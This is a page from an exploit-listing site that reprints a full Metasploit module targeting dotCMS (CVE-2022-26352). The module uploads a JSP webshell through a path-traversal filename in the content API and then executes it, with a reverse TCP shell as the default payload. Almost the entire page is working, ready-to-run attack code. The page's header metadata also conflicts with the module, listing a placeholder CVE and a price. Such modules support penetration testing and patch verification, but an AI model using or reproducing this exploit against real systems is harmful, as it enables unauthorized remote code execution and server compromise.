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dotCMS Shell Upload

CVE Category Price Severity
CVE-2020-XXXX CWE-434 $5000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-06-05
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0.68111 0.91806

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022060013

Below is a copy:

dotCMS Shell Upload
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DotCMS RCE via Arbitrary File Upload.',
        'Description' => %q{
          When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
          file down in a temp directory.  In the case of this vulnerability, dotCMS does not sanitize the filename
          passed in via the multipart request header and thus does not sanitize the temp file's name.  This allows a
          specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content)  that get
          written outside of the dotCMS temp directory.  In the case of this exploit, an attacker can upload a special
          .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
        },
        'Author' => [
          'Shubham Shah',  # Discovery and analysis
          'Hussein Daher', # Discovery and analysis
          'jheysel-r7'     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-26352'],
          ['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
        ],
        'Privileged' => false,
        'Platform' => %w[linux win],
        'Targets' => [
          [
            'Java Linux',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'linux'
            }
          ],
          [
            'Java Windows',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
        'DisclosureDate' => '2022-05-03',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(8443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    test_content = Rex::Text.rand_text_alpha(10)
    test_file = "#{test_content}.jsp"
    test_path = "../../#{test_file}"
    uuid = Faker::Internet.uuid

    jsp = <<~EOS
      <%@ page import=\"java.io.File\" %>
      <%
        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
        jsp.delete();
      %>
      #{uuid}
    EOS

    vars_form_data = [
      {
        'name' => 'name',
        'data' => jsp,
        'encoding' => nil,
        'filename' => test_path,
        'mime_type' => 'text/plain'
      }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/content/'),
      'vars_form_data' => vars_form_data
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, test_file.to_s)
    )

    if res && res.body.include?(uuid)
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def write_jsp_payload
    jsp_path = "../../#{jsp_filename}"
    print_status('Writing JSP payload')
    vars_form_data = [
      {
        'name' => 'name',
        'data' => payload.encoded,
        'encoding' => nil,
        'filename' => jsp_path,
        'mime_type' => 'text/plain'
      }
    ]

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/content/'),
      'vars_form_data' => vars_form_data
    )

    unless res&.code == 500
      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
    end

    register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
    print_good('Successfully wrote JSP payload')
  end

  def execute_jsp_payload
    jsp_uri = normalize_uri(target_uri.path, jsp_filename)
    print_status('Executing JSP payload')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => jsp_uri
    )

    unless res&.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
    end
    print_good('Successfully executed JSP payload')
  end

  def exploit
    write_jsp_payload
    execute_jsp_payload
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
  end
end

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